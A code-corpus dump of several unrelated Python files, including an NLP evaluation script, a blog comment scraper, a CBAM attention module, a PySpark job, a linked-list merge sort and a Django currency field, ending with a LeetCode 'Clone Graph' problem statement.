get_good_cases(out_file, records):\n good_cases=[]\n for r in records:\n if r.is_good_case:\n good_cases.append(r.pretty_form)\n\n with open(out_file, \"w\", encoding=\"utf8\")as p:\n p.write(\"Total num: {}\\n\".format(len(good_cases)))\n for case in good_cases:\n p.write(case)\n\n\ndef check_predictions(begins_pre, ends_pre, anaphora_pre, batch, tolerate = False):\n '''\n return the correct num in a batch.\n :param begins_pre:\n :param ends_pre:\n :param anaphora_pre:\n :param batch:\n :param tolerate:\n :return:\n '''\n result = []\n _, interval_result = check_interval_predictions(begins_pre, ends_pre, batch, tolerate)\n _, anaphora_result = check_anaphoras_predictions(anaphora_pre, batch)\n for inter, ana in zip(interval_result, anaphora_result):\n if inter==1 and ana==1:\n result.append(1)\n else:\n result.append(0)\n return sum(result), result\n\ndef check_anaphora(ana_pre, data_item):\n if ana_pre in data_item['anaphora_position']:\n return True\n else:\n return False\n\ndef check_anaphoras_predictions(anaphora_pre, batch):\n '''\n return the correct num in a batch.\n :param self:\n :param anaphora_pre:\n :param batch: the batch data, list of batch data.\n :return:\n '''\n result = []\n for a_p, batch_item, a_t in zip(anaphora_pre, batch.batch_data, batch.anaphoras_position):\n if check_anaphora(a_p, batch_item):\n result.append(1)\n else:\n result.append(0)\n return sum(result), result\n\ndef check_interval(begin_pre, end_pre, begin_tru, end_tru, data_item, tolerate=False):\n if tolerate:\n return interval_tolerate(begin_pre, end_pre, begin_tru, end_tru, data_item)\n else:\n if begin_pre == begin_tru and end_tru == end_pre:\n return True\n return False\n\n\ndef check_interval_predictions(begins_pre, ends_pre, batch, tolerate = False):\n result = []\n for b_p, e_p, b_t, e_t, item_data in zip(begins_pre, ends_pre, batch.intervals_begin, batch.intervals_end, batch.batch_data):\n if check_interval(b_p, e_p, b_t, e_t, item_data, tolerate):\n result.append(1)\n else:\n result.append(0)\n return sum(result), result\n\ndef interval_tolerate(b_p, e_p, b_t, e_t, item_data):\n '''\n\n :param b_p:\n :param e_p:\n :param b_t:\n :param e_t:\n :param item_data:\n :return:\n '''\n tolerate_words = ['a', 'the', 'this', 'that', 'those', 'these']\n tolerate_punctuation = [',', '.', '!', '?']\n tolerate_flag = tolerate_words + tolerate_punctuation\n mention_sen = item_data['mention_sentence'].split()\n if b_p >= len(mention_sen) or e_p>=len(mention_sen):\n return False\n if b_p == b_t or (b_p == b_t+1 and mention_sen[b_t] in tolerate_flag) or (b_p == b_t-1 and mention_sen[b_p] in tolerate_flag):\n begin_result = True\n else:\n begin_result = False\n if e_p == e_t or (e_p == e_t+1 and mention_sen[e_p] in tolerate_flag) or(e_p == e_t-1 and mention_sen[e_t] in tolerate_flag):\n end_result = True\n else:\n end_result = False\n return begin_result and end_result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--file\", required=True)\n parser.add_argument(\"--bad_case\", dest=\"bad_case\", action=\"store_true\")\n parser.add_argument(\"--bad_ana_case\", dest=\"bad_ana_case\", action=\"store_true\")\n parser.add_argument(\"--bad_men_case\", dest=\"bad_men_case\", action=\"store_true\")\n parser.add_argument(\"--good_case\", dest=\"good_case\", action=\"store_true\")\n args = parser.parse_args()\n\n #debug\n # all_records = process_log_file('debug.file')\n # record = all_records[0]\n # check_interval(record.pre_interval[0], record.pre_interval[1], record.true_interval[0], record.true_interval[1],record.data,tolerate=True)\n # output_file = \"bad_men_case\"\n # get_bad_men_cases(output_file, all_records)\n #\n\n\n print(args.file)\n all_records = process_log_file(args.file)\n\n file_dir = os.path.dirname(args.file)\n if args.bad_case:\n output_file = os.path.join(file_dir, \"bad_case\")\n get_bad_cases(output_file, all_records)\n if args.bad_ana_case:\n output_file = os.path.join(file_dir, \"bad_ana_case\")\n get_bad_ana_cases(output_file, all_records)\n if args.bad_men_case:\n output_file = os.path.join(file_dir, \"bad_men_case\")\n get_bad_men_cases(output_file, all_records)\n if args.good_case:\n output_file = os.path.join(file_dir, \"good_case\")\n get_good_cases(output_file, all_records)\n print(\"bingo!\")\n\n\n\n\n\n","sub_path":"lib/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":9268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"336996207","text":"# created June 2015\n# by TEASER4 Development Team\n\n\nfrom teaser.logic.archetypebuildings.bmvbs.office import Office\n\n\nclass Institute8(Office):\n \"\"\"Type Institute Building (type 8)\n\n \"\"\"\n\n def __init__(self, parent=None,\n name=None,\n year_of_construction=None,\n number_of_floors=None,\n height_of_floors=None,\n net_leased_area=None,\n with_ahu=False,\n office_layout=None,\n window_layout=None,\n construction_type=None):\n\n \"\"\"Constructor of Institute8\n\n Adds an additional zone \"Laboratory\"\n\n \"\"\"\n\n super(Institute8, self).__init__(parent,\n name,\n year_of_construction,\n number_of_floors,\n height_of_floors,\n net_leased_area,\n with_ahu,\n office_layout,\n window_layout,\n construction_type)\n\n self.zone_area_factors = \\\n {\"Meeting\": [0.04, \"Meeting, Conference, seminar\"],\n \"Storage\": [0.02, \"Stock, technical equipment, archives\"],\n \"Office\": [0.1, \"Group Office (between 2 and 6 employees)\"],\n \"Sanitary\": [0.04, \"WC and sanitary rooms in non-residential \"\n \"buildings\"],\n \"ICT\": [0.02, \"Data center\"],\n \"Floor\": [0.18, \"Traffic area\"],\n \"Laboratory\": [0.6, \"Laboratory\"]}\n","sub_path":"teaser/logic/archetypebuildings/bmvbs/custom/institute8.py","file_name":"institute8.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"301430592","text":"import time\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport requests\nimport numpy as np\nimport datetime\nimport pickle\nimport os.path\nimport csv\nimport re\nimport header\n\nnumber_of_pages = 1000\nposition = 0\ndoes_file_exist()\nprocessed_sites = load_processed_sites()\nheaders = [\"Title\",\"Username\",\"Post\",\"Time\",\"Post ID\",\"Likes\",\"Dislikes\"]\nprint(\"Number of proccessed posts are:\", len(processed_sites))\nfor i in range(number_of_pages):\n print(\"processing page\",i+1,\"....\")\n if i+1 == 1:\n website = \"https://www.lindaikejisblog.com/\"\n else:\n website = \"https://www.lindaikejisblog.com/page/\"+str(i+1)\n req = get_website(website)\n if req == None:\n continue\n soup = BeautifulSoup(req.text, 'html.parser')\n for a in soup.find_all('a', href=True):\n #print(\"Found the URL:\", a['href'])\n #print(a['href'][:11],a['href'].split())\n url = a['href']\n begin = \"https://www.lindaikejisblog.com/\"\n if position >=17 and url != \"javascript:;\" and begin in url and url[-9:] == \"#comments\":\n if url in processed_sites:\n #print(url,\"Already proccessed\")\n pass\n else:\n #print(url)\n req = get_website(url)\n if req == None:\n continue\n soup = BeautifulSoup(req.text, 'html.parser')\n title = soup.title.text\n #print(title)\n article,article_time = get_the_article(soup)\n users, _time, time_unit = get_the_commenters_and_time(soup)\n date_time = get_date_time(article_time,_time, time_unit)\n comments = get_the_comments(soup)\n comment_likes, comment_dislikes = get_comment_likes_and_dislikes(soup)\n article_stats = get_starts_as_a_list(article,article_time,title,users,comments,date_time,comment_likes,comment_dislikes)\n df3 = pd.DataFrame(article_stats, columns=headers)\n df3.to_csv(\"lib.csv\",mode='a',header=False,index=False, encoding='utf-8', sep='\\\\',quoting=csv.QUOTE_NONNUMERIC)\n processed_sites.append(url)\n save_processed_sites(processed_sites)\n position+=1\n #time.sleep(5)\n #if i>581:\n #print(url)\n #time.sleep(5)\n #else:\n #pass\nprint(\"Done!!!\")\n","sub_path":"LIB.py","file_name":"LIB.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"17203142","text":"import torch\nimport torch.nn as nn\n\n\nclass ChannelAttention(nn.Module):\n def __init__(self, in_planes, ratio=16):\n super(ChannelAttention, self).__init__()\n self.avg_pool = nn.AdaptiveAvgPool2d(1)\n self.max_pool = nn.AdaptiveMaxPool2d(1)\n\n self.fc = nn.Sequential(\n nn.Conv2d(in_planes, in_planes // ratio, 1, bias=False),\n nn.ReLU(),\n nn.Conv2d(in_planes // ratio, in_planes, 1, bias=False),\n )\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n avg_out = self.fc(self.avg_pool(x))\n max_out = self.fc(self.max_pool(x))\n out = avg_out + max_out\n return self.sigmoid(out)\n\n\nclass SpatialAttention(nn.Module):\n def __init__(self, kernel_size=7):\n super(SpatialAttention, self).__init__()\n\n self.conv1 = nn.Conv2d(2, 1, kernel_size, padding=kernel_size // 2, bias=False)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n avg_out = torch.mean(x, dim=1, keepdim=True) # B 1 H W\n max_out, _ = torch.max(x, dim=1, keepdim=True)\n x = torch.cat([avg_out, max_out], dim=1) # B 2 H W\n x = self.conv1(x)\n return self.sigmoid(x)\n\n\nclass CBAM(nn.Module):\n \"\"\"\n ref: https://github.com/luuuyi/CBAM.PyTorch/blob/83d3312c8c542d71dfbb60ee3a15454ba253a2b0/model/resnet_cbam.py#L25\n \"\"\"\n\n def __init__(self, nf_in=64, ratio_ca=16, ks_sa=7):\n super().__init__()\n\n self.nf_in = nf_in\n self.ratio_ca = ratio_ca\n self.ks_sa = ks_sa\n\n self.ca = ChannelAttention(in_planes=self.nf_in, ratio=self.ratio_ca)\n self.sa = SpatialAttention(kernel_size=self.ks_sa)\n\n def forward(self, inp_t):\n feat = self.ca(inp_t) * inp_t\n feat = self.sa(feat) * feat\n out_t = feat + inp_t\n return out_t\n","sub_path":"net/cbam.py","file_name":"cbam.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"218136592","text":"from pyspark import SparkConf, SparkContext\nimport sys, json\nassert sys.version_info >= (3, 5) # make sure we have Python 3.5+\n\ndef main(inputs, output):\n text = sc.textFile(inputs).map(json.loads).cache()\n averages = text.map(lambda x: (x['subreddit'], (1, x['score']))).reduceByKey(combineComments).map(getAverage).filter(lambda x: x[1] > 0)\n comments = text.map(lambda x: (x['subreddit'], x)).join(averages).map(getRelativeScore)\n comments.sortBy(lambda x: x[0], False).map(json.dumps).saveAsTextFile(output)\n\ndef combineComments(accum, comment):\n return (accum[0] + comment[0], accum[1] + comment[1])\n\ndef getAverage(kv):\n k, v = kv\n return (k, v[1]/v[0])\n\ndef getRelativeScore(kv):\n v = kv[1]\n return (v[0]['score']/v[1], v[0]['author'])\n\nif __name__ == '__main__':\n conf = SparkConf().setAppName('reddit averages')\n sc = SparkContext(conf=conf)\n assert sc.version >= '2.3' # make sure we have Spark 2.3+\n inputs = sys.argv[1]\n output = sys.argv[2]\n main(inputs, output)","sub_path":"a4/p2/relative_score.py","file_name":"relative_score.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"95949524","text":"import os, shutil\nimport sys\n\ndef write_image_list(images_path):\n image_names = os.listdir(images_path)\n image_list_path = os.path.dirname(images_path) + '/list/img_list.txt'\n image_list_file = open(image_list_path, 'w')\n for image_name in image_names:\n name, ext = os.path.splitext(image_name)\n image_path = name\n image_list_file.write(image_path + '\\n')\n image_list_file.close()\n\ndef write_train(images_path):\n image_names = os.listdir(images_path)\n train_path = os.path.dirname(images_path) + '/list/train.txt'\n train_file = open(train_path, 'w')\n for image_name in image_names:\n image_path = '/images/' + image_name\n label_path = '/labels/' + image_name\n train_file.write(image_path + ' ' + label_path + '\\n')\n train_file.close()\n\ndef write_train_id(images_path):\n image_names = os.listdir(images_path)\n train_id_path = os.path.dirname(images_path) + '/list/train_id.txt'\n train_id_file = open(train_id_path, 'w')\n for image_name in image_names:\n name, ext = os.path.splitext(image_name)\n train_id_file.writelines(name + '\\n')\n train_id_file.close()\n\ndef write_train_rev(images_path):\n image_names = os.listdir(images_path)\n train_rev_path = os.path.dirname(images_path) + '/list/train_rev.txt'\n train_rev_file = open(train_rev_path, 'w')\n for image_name in image_names:\n image_path = '/images/' + image_name\n label_path = '/labels/' + image_name\n label_rev_path = '/labels_rev/' + image_name\n train_rev_file.write(image_path + ' ' + label_path + ' ' + label_rev_path + '\\n')\n train_rev_file.close()\n\ndef write_val(images_path):\n image_names = os.listdir(images_path)\n val_path = os.path.dirname(images_path) + '/list/val.txt'\n val_file = open(val_path, 'w')\n for image_name in image_names:\n image_path = '/images/' + image_name\n label_path = '/labels/' + image_name\n val_file.write(image_path + ' ' + label_path + '\\n')\n val_file.close()\n\ndef write_val_id( images_path):\n image_names = os.listdir(images_path)\n val_id_path = os.path.dirname(images_path) + '/list/val_id.txt'\n val_id_file = open(val_id_path, 'w')\n for image_name in image_names:\n name, ext = os.path.splitext(image_name)\n val_id_file.writelines(name + '\\n')\n val_id_file.close()\n","sub_path":"write_txt.py","file_name":"write_txt.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"644809170","text":"import MySQLdb\r\nfrom API.DB import DbConnect as Database\r\nfrom flask import jsonify\r\n\r\ndef get_all_users():\r\n\tcursor = Database.db_connect()\r\n\tcursor.execute(\"SELECT * FROM user\")\r\n\ttable = cursor.fetchall()\t\r\n\treturn table\r\ndef check_if_user_exists(netid):\r\n\tcursor = Database.db_connect()\r\n\tcursor.execute(\"SELECT DISTINCT PW,Role,UTSW_ID,NET_ID FROM user WHERE NET_ID =\"+str(netid))\r\n\ttable = cursor.fetchall()\t\r\n\treturn table\r\ndef user_profile_info(netid):\r\n\tcursor = Database.db_connect()\r\n\tcursor.execute(\"SELECT FIRST_NAME, LAST_NAME, NET_ID, UTSW_ID, EMAIL, Role FROM user WHERE NET_ID =\"+str(netid))\r\n\ttable = cursor.fetchall()\r\n\treturn table","sub_path":"API/Queries/Users.py","file_name":"Users.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"160901230","text":"class FakePage(object):\n \"\"\"Assert helper that compares specified Page parameters.\"\"\"\n\n def __init__(self, **kwargs):\n self.attrs_to_compare = dict()\n for parameter in [\n \"title\",\n \"body\",\n \"attachments\",\n \"file_path\",\n \"page_id\",\n \"parent_id\",\n \"parent_title\",\n \"space\",\n \"labels\",\n \"relative_links\",\n ]:\n param_value = kwargs.get(parameter, None)\n if param_value:\n self.attrs_to_compare[parameter] = param_value\n\n def __eq__(self, actual):\n for attribute_name, attribute_value in self.attrs_to_compare.items():\n actual_attribute = getattr(actual, attribute_name, None)\n if actual_attribute != attribute_value:\n return False\n return True\n\n def __repr__(self):\n return \"FakePage({})\".format(\n \", \".join(\n [\n \"{}={}\".format(name, repr(value))\n for name, value in self.attrs_to_compare.items()\n ]\n )\n )\n","sub_path":"test_package/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"95805146","text":"from lxml import html\nimport requests, csv\n\nurl = 'http://econpy.pythonanywhere.com/ex/001.html'\npage = requests.get(url)\n\ndom = html.fromstring(page.content)\n\ncontent = dom.text_content()\n\n\n\n\n\n#get the text of all links\nlinks = dom.xpath('//a/font/text()')\n\n\nbuyers = dom.xpath('//div[@title=\"buyer-name\"]/text()')\n\nprices = dom.xpath('//span[@class=\"item-price\"]/text()')\n\n\n#setting a variable to a xpath location\nvar = dom.xpath('//span[@class=\"item-price\"]')\n\n#shows first var iteration, you can now loop through them all\nvar[0].text #or var[0].text_content\n\n\n#all lxml.html methods\ndir(lxml.html)\n\ndir(type(list)) \n","sub_path":"practice_lxml.py","file_name":"practice_lxml.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"310079128","text":"\"\"\"\nhttps://leetcode.com/problems/sort-list/#/description\nSort a linked list in O(n log n) time using constant space complexity.\n\n\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n\tdef __init__(self, x):\n\t\tself.val = x\n\t\tself.next = None\n\nclass Solution(object):\n def sortList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n \n def findMiddle(h):\n\n \tif h == None or h.next == None:\n \t\treturn h\n\n \tfast = h.next\n \tslow = h\n\n \twhile fast is not None:\n \t\tfast = fast.next\n \t\tif fast is not None:\n \t\t\tslow = slow.next\n \t\t\tfast = fast.next\n\n \treturn slow\n\n def merge(a, b):\n \tif a.val < b.val:\n \t\thead = a\n \t\ta = head.next\n \telse:\n \t\thead = b\n \t\tb = head.next\n\n \tcurrent = head\n \twhile a is not None and b is not None:\n \t\tif a.val < b.val:\n \t\t\tcurrent.next = a\n \t\t\ta = a.next\n \t\telse:\n \t\t\tcurrent.next = b \n \t\t\tb = b.next\n \t\tcurrent = current.next\n\n \tif a is not None:\n \t\tcurrent.next = a\n \telif b is not None:\n \t\tcurrent.next = b\n\n \treturn head\n\n def mergeSort(h):\n \tif h is None or h.next is None:\n \t\treturn h\n\n \tmid = findMiddle(h)\n \thb = mid.next\n \tmid.next = None\n \treturn merge(mergeSort(h), mergeSort(hb))\n\n return mergeSort(head)\n \t\t\t\ndef merge(a, b):\n\tif a.val < b.val:\n\t\thead = a\n\t\ta = head.next\n\t\thead.next = b\n\t\tb = b.next\n\telse:\n\t\thead = b\n\t\tb = head.next\n\t\thead.next = a\n\t\ta = a.next\n\n\tcurrent = head.next\n\twhile a is not None and b is not None:\n\t\tif a.val < b.val:\n\t\t\tcurrent.next = a\n\t\t\ta = a.next\n\t\telse:\n\t\t\tcurrent.next = b \n\t\t\tb = b.next\n\t\tcurrent = current.next\n\n\tif a is not None:\n\t\tcurrent.next = a\n\telif b is not None:\n\t\tcurrent.next = b\n\n\treturn head\n\ndef findMiddle(h):\n\n\tif h == None or h.next == None:\n\t\treturn h\n\n\tfast = h.next\n\tslow = h\n\n\twhile fast is not None:\n\t\tfast = fast.next\n\t\tif fast is not None:\n\t\t\tslow = slow.next\n\t\t\tfast = fast.next\n\n\treturn slow\n\ndef llprint(head):\n\twhile head is not None:\n\t\tprint(head.val)\n\t\thead = head.next\n\ns = Solution()\ntest = ListNode(3)\ntest.next = ListNode(1)\ntest.next.next = ListNode(5.5)\nprint(findMiddle(test).val)\nllprint(s.sortList(test))\n\nprint(\" \")\n\ntest2 = ListNode(4)\ntest2.next = ListNode(6)\ntest2.next.next = ListNode(1.5)\ntest2.next.next.next = ListNode(5)\nllprint(s.sortList(test2))\n\n#llprint(merge(test, test2))\n#print(findMiddle(merge(test, test2)).val)","sub_path":"python/sortList.py","file_name":"sortList.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"2645111","text":"#!/usr/local/bin/drgn -k\n\nfrom drgn.helpers.linux import *\nfrom drgn import Object\nimport sys\nimport os\n\nlibpath = os.path.dirname(os.path.realpath(\"__file__\"))\nsys.path.append(libpath)\n\nfrom lib import *\n\nsize = prog['nf_conntrack_htable_size']\nhash = prog['nf_conntrack_hash']\nprint(\"nf_conntrack_htable_size: %d\" % size)\n\nfor i in range(size):\n head = hash[i]\n if head.first.value_() & 0x1:\n continue;\n for tuple in hlist_nulls_for_each_entry(\"struct nf_conntrack_tuple_hash\", head.address_of_(), \"hnnode\"):\n ct = container_of(tuple, \"struct nf_conn\", \"tuplehash\")\n# print(\"nf_conn %lx\" % ct.value_())\n# print(\"nf_conntrack_tuple %lx\" % tuple.value_())\n# print(\"\")\n print_tuple(tuple, ct)\n# print(tuple)\n","sub_path":"drgn/ct.py","file_name":"ct.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"163736831","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nExercise 4.4 Extract Local Binary Pattern features for classification.\n 4.5 Train classifiers for the GTSRB task.\n\n@author: mingxiaodong\n\"\"\"\n\nimport glob\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom skimage.feature import local_binary_pattern # 主要用于图像识别\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.lda import LDA\nfrom sklearn.svm import SVC\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.metrics import accuracy_score\n\nX = [] # 存放直方图值\ny = [] # 存放label\n\nfolders = sorted(glob.glob('GTSRB_subset/*')) # 设置文件读取路径\n\nfor i,folder in enumerate(folders):\n file_list = glob.glob(folder+'/*')\n for file in file_list:\n file = plt.imread(file)\n lbp = local_binary_pattern(file, 8, 3) # 以每个像素点为圆心,3为半径,取八个点与该像素比较,得到阈值\n hist = np.histogram(lbp, bins=256)[0] # 因为灰度值范围是0-255,所以bin取256,[0]返回直方图的值\n X.append(hist)\n y.append(i)\n\nX = np.array(X)\ny = np.array(y)\nprint(X.shape)\n\nxtrain, xtest, ytrain, ytest = train_test_split(X, y, test_size=0.20)\n\nclf = KNeighborsClassifier()\nclf.fit(xtrain, ytrain)\npredict_y = clf.predict(xtest)\nprint('KNN', accuracy_score(ytest, predict_y))\n\nlda = LDA()\nlda.fit(xtrain, ytrain)\npredict_y = lda.predict(xtest)\nprint('LDA', accuracy_score(ytest, predict_y))\n\nsvc = SVC()\nsvc.fit(xtrain, ytrain)\npredict_y = svc.predict(xtest)\nprint('SVC', accuracy_score(ytest, predict_y))","sub_path":"exercises/Ex4/exercise_4_45.py","file_name":"exercise_4_45.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"161202468","text":"\n# Define a global variable debug\ndebug = False\n\ndef main():\n\t# Explain to the user what the program is supposed to do.\n\tprint('This program adds two numbers inputted by the user.')\n\n\t# Get the numbers entered by the user & whether debug log will\n\t# be shown or not.\n\tnum1 = int(input('Enter the first number you want to add: '))\n\tnum2 = int(input('Enter the second number you want to add: '))\n\tdebug_prompt = input(\"If you wish to see the debug log type 'y'\" +\n\t\t\", else any key: \")\n\n\t# Checks if the user wishes the debug log to be shown or not.\n\tglobal debug\n\tif debug_prompt == 'y' or debug_prompt == 'Y':\n\t\tdebug = True\n\telse:\n\t\tdebug = False\n\n\t# Pass the numbers to the add function.\n\tadd(num1, num2)\n\ndef add(num1, num2):\n\tglobal debug\n\tif debug == True:\n\t\tprint('The entered numbers where', num1, '&', num2, '.')\n\n\ttotal = num1 + num2\n\tprint(total)\n\n# Call the main function.\nmain()","sub_path":"2_enkle_betingelser.py","file_name":"2_enkle_betingelser.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"117408932","text":"from Theory import *\n\nclass TheoryMaxwellModesTime(Theory, CmdBase):\n \"\"\"Fit Maxwell modes to a time depenendent relaxation function\"\"\"\n thname=\"MaxwellModesTime\"\n description=\"Fit Maxwell modes to time dependent function\"\n citations=\"\"\n\n def __init__(self, name=\"ThMaxwellTime\", parent_dataset=None, ax=None):\n super(TheoryMaxwellModesTime, self).__init__(name, parent_dataset, ax)\n self.function = self.MaxwellModesTime\n\n\n def MaxwellModesTime(self, f=None):\n pass \n\nclass TheoryMaxwellModesFrequency(Theory, CmdBase):\n \"\"\"Fit Maxwell modes to a frequency dependent relaxation function\"\"\"\n thname=\"MaxwellModesFrequency\"\n description=\"Fit Maxwell modes to frequency dependent function\"\n\n def __init__(self, name=\"ThMaxwellFrequency\", parent_dataset=None, ax=None):\n super(TheoryMaxwellModesFrequency, self).__init__(name, parent_dataset, ax)\n self.function = self.MaxwellModesFrequency\n self.has_modes = True\n self.parameters[\"logwmin\"]=Parameter(\"logwmin\", -5, \"Log of frequency range minimum\", ParameterType.real, True)\n self.parameters[\"logwmax\"]=Parameter(\"logwmax\", 4, \"Log of frequency range maximum\", ParameterType.real, True)\n self.parameters[\"nmodes\"]=Parameter(\"nmodes\", 5, \"Number of Maxwell modes\", ParameterType.integer, False)\n for i in range(self.parameters[\"nmodes\"].value):\n self.parameters[\"logG%d\"%i]=Parameter(\"logG%d\"%i,5.0,\"Log of Mode %d amplitude\"%i, ParameterType.real, True)\n\n def set_param_value(self, name, value):\n if (name==\"nmodes\"):\n oldn=self.parameters[\"nmodes\"].value\n super(TheoryMaxwellModesFrequency, self).set_param_value(name, value)\n if (name==\"nmodes\"):\n for i in range(self.parameters[\"nmodes\"].value):\n self.parameters[\"logG%d\"%i]=Parameter(\"logG%d\"%i,5.0,\"Log of Mode %d amplitude\"%i, ParameterType.real, True)\n if (oldn>self.parameters[\"nmodes\"].value):\n for i in range(self.parameters[\"nmodes\"].value,oldn):\n del self.parameters[\"logG%d\"%i]\n\n def get_modes(self):\n nmodes=self.parameters[\"nmodes\"].value\n freq=np.logspace(self.parameters[\"logwmin\"].value, self.parameters[\"logwmax\"].value, nmodes)\n tau=1.0/freq\n G=np.zeros(nmodes)\n for i in range(nmodes):\n G[i]=np.power(10, self.parameters[\"logG%d\"%i].value)\n return tau, G\n\n def set_modes(self, tau, G):\n print(\"set_modes not allowed in this theory (%s)\"%self.name)\n\n def MaxwellModesFrequency(self, f=None):\n ft=f.data_table\n tt=self.tables[f.file_name_short]\n tt.num_columns=ft.num_columns\n tt.num_rows=ft.num_rows\n tt.data=np.zeros((tt.num_rows, tt.num_columns))\n tt.data[:,0]=ft.data[:,0]\n\n nmodes=self.parameters[\"nmodes\"].value\n freq=np.logspace(self.parameters[\"logwmin\"].value, self.parameters[\"logwmax\"].value, nmodes)\n tau=1.0/freq\n\n for i in range(nmodes):\n wT=tt.data[:,0]*tau[i]\n wTsq=wT**2\n G=np.power(10, self.parameters[\"logG%d\"%i].value)\n tt.data[:,1]+=G*wTsq/(1+wTsq)\n tt.data[:,2]+=G*wT/(1+wTsq)\n \n","sub_path":"RepTate/theories/TheoryMaxwellModes.py","file_name":"TheoryMaxwellModes.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"7474137","text":"import argparse\nimport logging\nimport argparse\nimport pdb\n\nfrom trade_journal.trade_journal import TradeJournal\n\nparser = argparse.ArgumentParser(description='calc win rate on a Trading journal')\n\nparser.add_argument('--tj', required=True, help=\".xlsx file containing the Trading Journal\")\nparser.add_argument('--ws', required=True, help=\"Worksheet in --tj to be analysed\")\nparser.add_argument('--strats', required=True, help=\"Comma-separated list of strategies to analyse: i.e.\"\n \"counter,counter_b1\")\nparser.add_argument('--settingf', required=True, help='Path to .ini file with settings')\n\nargs = parser.parse_args()\n\ntd = TradeJournal(url=args.tj,\n worksheet=args.ws,\n settingf=args.settingf)\n\ntrade_list = td.fetch_tradelist()\n\ntrade_list.win_rate(strats=args.strats)","sub_path":"bin/calc_winrate.py","file_name":"calc_winrate.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"195337846","text":"from decimal import Decimal\nfrom django.db import models\n\ntry:\n from south.modelsinspector import add_introspection_rules\nexcept ImportError:\n SOUTH = False\nelse:\n SOUTH = True\n\nclass CurrencyField( models.DecimalField, metaclass=models.SubfieldBase ):\n def __init__( self, verbose_name=None, name=None, **kwargs ):\n decimal_places = kwargs.pop('decimal_places', 2)\n max_digits = kwargs.pop('max_digits', 10)\n\n super( CurrencyField, self ). __init__(\n verbose_name=verbose_name, name=name, max_digits=max_digits,\n decimal_places=decimal_places, **kwargs )\n\n def to_python( self, value ):\n try:\n return super( CurrencyField, self ).to_python( value ).quantize(Decimal(\"0.01\") )\n except AttributeError:\n return None\n\nif SOUTH:\n add_introspection_rules(\n [\n ( \n [CurrencyField],\n [],\n {\n \"decimal_places\": [\"decimal_places\", { \"default\": \"2\" }],\n \"max_digits\": [\"max_digits\", { \"default\": \"10\" }],\n },\n ),\n ], \n ['^application\\.fields\\.CurrencyField']\n )\n","sub_path":"app/backend/common/classes/CurrencyField.py","file_name":"CurrencyField.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"548639175","text":"\"\"\"\nClone Graph\nGiven a reference of a node in a connected undirected graph.\n\nReturn a deep copy (clone) of the graph.\n\nEach node in the graph contains a val (int) and a list (List[Node]) of its neighbors.\n\nclass Node {\n public int val;\n public List neighbors;\n}\n\n\nTest case format:\n\nFor simplicity sake, each node's value is the same as the node's index (1-indexed). For example, the first node with val = 1, the second node with val = 2, and so on. The graph is represented in the test case using an adjacency list.\n\nAdjacency list is a collection of unordered lists used to represent a finite graph. Each list describes the set of neighbors of a node in the graph.\n\nThe given node will always be the first node with val = 1. You must return the copy of the given node as a reference to the cloned graph.\n\n\n\nExample 1:\n\n\nInput: adjList = [[2,4],[1,3],[2,4],[1,3]]\nOutput: [[2,4],[1,3],[2,4],[1,3]]\nExplanation: There are 4 nodes in the graph.\n1st node (val = 1)'s neighbors are 2nd node (val = 2) and 4th node (val = 4).\n2nd node (val = 2)'s neighbors are 1st node (val = 1) and 3rd node (val = 3).\n3rd node (val = 3)'s neighbors are 2nd node (val = 2) and 4th node (val = 4).\n4th node (val = 4)'s neighbors are 1st node (val = 1) and 3rd node (val = 3).\nExample 2:\n\n\nInput: adjList = [[]]\nOutput: [[]]\nExplanation: Note that the input contains one empty list. The graph consists of only one node with val = 1 and it does not have any neighbors.\nExample 3:\n\nInput: adjList = []\nOutput: []\nExplanation: This an empty graph, it does not have any 